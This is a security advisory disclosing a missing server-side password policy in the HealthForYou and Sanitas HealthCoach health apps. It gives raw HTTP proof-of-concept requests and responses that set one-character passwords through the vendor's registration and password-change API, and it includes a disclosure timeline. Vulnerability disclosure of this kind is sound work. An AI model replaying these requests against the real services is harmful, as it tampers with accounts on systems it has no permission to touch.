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Security Advisory 2104-03

05.11.2021

Missing server-side password policy

Overview

Advisory ID: TRSA-2104-03
Advisory version: 1.0
Advisory status: Public
Advisory URL: http://trovent.io/security-advisory-2104-03
Affected product: HealthForYou & Sanitas HealthCoach mobile and web applications
Tested versions: HealthForYou 1.11.1 (com.hansdinslage.connect.HealthForYou),
HealthCoach 2.9.2 (de.sanitas_online.healthcoach)
Vendor: Hans Dinslage GmbH (subsidiary of Beurer GmbH https://www.beurer.com)
Credits: Trovent Security GmbH, Nick Decker

Detailed description

Trovent Security GmbH discovered an inconsistency between the
API and the client of HealthForYou & Sanitas HealthCoach.
When creating an account or changing your password
the mobile and web application both check the password against
the password policy. But the API assumes that the given password
is already checked therefore an attacker can intercept the HTTP request
and change it to a weak password.
In our testing we managed to change it to a single character or
clear it completly, but this was not practical as it raises
execptions in the application when trying to login.

Severity: Medium
CVSS Score: 5.4 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N)
CWE ID: CWE-521
CVE ID: N/A

Proof of concept

HealthForYou

Sample request to change the password during registration:

REQUEST:

POST /BHMCWebAPI/User/PostCreateNewUser/ HTTP/1.1
Content-Type: application/json; charset=UTF-8
Accept-Encoding: gzip, deflate
User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; ONEPLUS A6003 Build/QKQ1.190716.003)
Host: sync.healthforyou-lidl.com
Connection: close
Content-Length: 717

{"Email":"proof@trovent.io","UserLevel":"Advanced","IsReceiveNewsLetters":false,"Gender":1,"Source":"AN017","isDoubleOptInNewsletter":1,"HeightInch":7,"DOB":"1980-01-17",
"IsGDPRAccepted":1,"IsCreateFromIPhone":true,"InformationNewsLetterGlobalTime":"2021-05-03T10:30:55.877","GDPRAcceptedPlatform":"ANDROID","PersonalisedNewsletter":0,
"Settings":{"TimeFormat":"24-hours","MetricFormat":"Metric","Language":"en-US","DateFormat":"MM/dd/yyyy"},"Password":"p",[shortened for better readability]}

RESPONSE:

HTTP/1.1 200 OK
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
content-type: application/json; charset=utf-8
content-length: 7254
etag: W/"1c56-mp1tZlTlMvwrdNVYbfZsuHeipuc"
date: Mon, 03 May 2021 10:31:01 GMT
x-envoy-upstream-service-time: 631
server: istio-envoy
connection: close

{"Email":"proof@trovent.io","UserLevel":"Advanced","IsReceiveNewsLetters":false,"Gender":1,"isDoubleOptInNewsletter":1,"HeightInch":7,"DOB":"1980-01-17T00:00:00",
"IsGDPRAccepted":1,"InformationNewsLetterGlobalTime":"2021-05-03T10:30:55+00:00","GDPRAcceptedPlatform":"ANDROID","PersonalisedNewsletter":0,"InformationNewsLetter":0,
"HeightCm":170,"GDPRAcceptedDateTime":"2021-05-03T10:30:55+00:00","FirstName":"poc","PersonalisedNewsletterGlobalTime":"2021-05-03T10:30:55+00:00","HeightFeet":5,
"culture":"en-US","LastName":"poc","EmailSalt":"vNHHXcoRQFYUdxky0wR16v95wdHWyE6","UniqueId":"0b71e470-f587-4976-b7ec-8f7fb89c2102","UserID1":1210679,
"password":"Uu/CVGZ6c0IxnT/vbUvHL3HHK7MbiVq","EncryptedPassword":"Uu/CVGZ6c0IxnT/vbUvHL3HHK7MbiVq","salt":"$2b$10$ibYORUPMB1KMfxWCgPofcO",[shortened for better readability]}

HealthCoach

Sample request to change the password during registration:

REQUEST:

POST /BHMCWebAPI/User/PostCreateNewUser/ HTTP/1.1
Content-Type: application/json; charset=UTF-8
Accept-Encoding: gzip, deflate
User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; ONEPLUS A6003 Build/QKQ1.190716.003)
Host: sync.connect-sanitas-online.de
Connection: close
Content-Length: 562

{"HeightCm":170,"Email":"n.decker@trovent.io","GDPRAcceptedDateTime":"2021-05-03 08:19:40","UserLevel":"Advanced","FirstName":"poc","IsReceiveNewsLetters":false,
"ReceiveNewsLettersGlobalTime":"2021-05-03T08:19:40.300","Gender":1,"Source":"AN014","isDoubleOptInNewsletter":1,"HeightInch":7,"HeightFeet":5,"DOB":"1996-05-13",
"culture":"en-US","IsGDPRAccepted":1,"IsCreateFromIPhone":true,"LastName":"poc","GDPRAcceptedPlatform":"ANDROID",
"Settings":{"TimeFormat":"12-hours","MetricFormat":"Imperial","Language":"en-US","DateFormat":"MM/dd/yyyy"},"Password":"p"}

RESPONSE:

HTTP/1.1 200 OK
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
content-type: application/json; charset=utf-8
content-length: 5435
etag: W/"153b-exyfFUpcc2Zy5S1tFcx40HJaU+Q"
date: Mon, 03 May 2021 08:19:41 GMT
x-envoy-upstream-service-time: 515
server: istio-envoy
connection: close

{"Email":"n.decker@trovent.io","GDPRAcceptedDateTime":"2021-05-03T08:19:40+00:00","UserLevel":"Advanced","FirstName":"poc","IsReceiveNewsLetters":false,
"ReceiveNewsLettersGlobalTime":"2021-05-03T08:19:40+00:00","Gender":1,"isDoubleOptInNewsletter":1,"culture":"en-US","IsGDPRAccepted":1,"LastName":"poc",
"GDPRAcceptedPlatform":"ANDROID","EmailSalt":"JvwjiKXsfF3yGyai4dNh1TgR26ulz9u","UserID1":1054887,"password":"CvScf8yLGvfL3RImfoMrnn6cNFvZ8Li",
"EncryptedPassword":"CvScf8yLGvfL3RImfoMrnn6cNFvZ8Li","salt":"$2b$10$O13K3YzCyjQ8w/DEFDYIvO",[shortened for better readability]}

Sample request made to change the password to one character:

REQUEST:

GET /BHMCWebAPI/User/GetUpdatePassword?finalidentifier=[redacted]&currentpassword=Pentest&newpassword=p HTTP/1.1
Authorization: Android#[redacted]#e00e9945-57ba-44d0-89f6-865da419a2d3
User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; ONEPLUS A6003 Build/QKQ1.190716.003)
Host: sync.connect-sanitas-online.de
Connection: close
Accept-Encoding: gzip, deflate

RESPONSE:

HTTP/1.1 200 OK
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
content-type: application/json; charset=utf-8
content-length: 119
etag: W/"77-A0ItMApVWcTRuM8VBvCSqOlv8eo"
date: Mon, 26 Apr 2021 10:41:04 GMT
x-envoy-upstream-service-time: 153
server: istio-envoy
connection: close

{"changePasswordStatus":1,"EncryptedPassword":"AWefAKVcQX4czpSO9pjiwOP1uYJpUeG","salt":"$2b$10$XAH0KWMVlF25Ui7usxTvq."}

Solution / Workaround

To mitigate this vulnerability, we recommend to verify the input given by the user not only on the client side but also on the server side.

History

2021-04-26: Vulnerability found and advisory created
2021-05-04: Vendor contacted
2021-06-28: Vendor replied that the vulnerability is fixed
2021-06-29: Trovent informed vendor that the problem still exists at password reset or change
2021-07-01: Vendor replied that remediation is in progress
2021-08-04: Vendor contacted, asking for status of remediation
2021-11-05: No reply from vendor, advisory published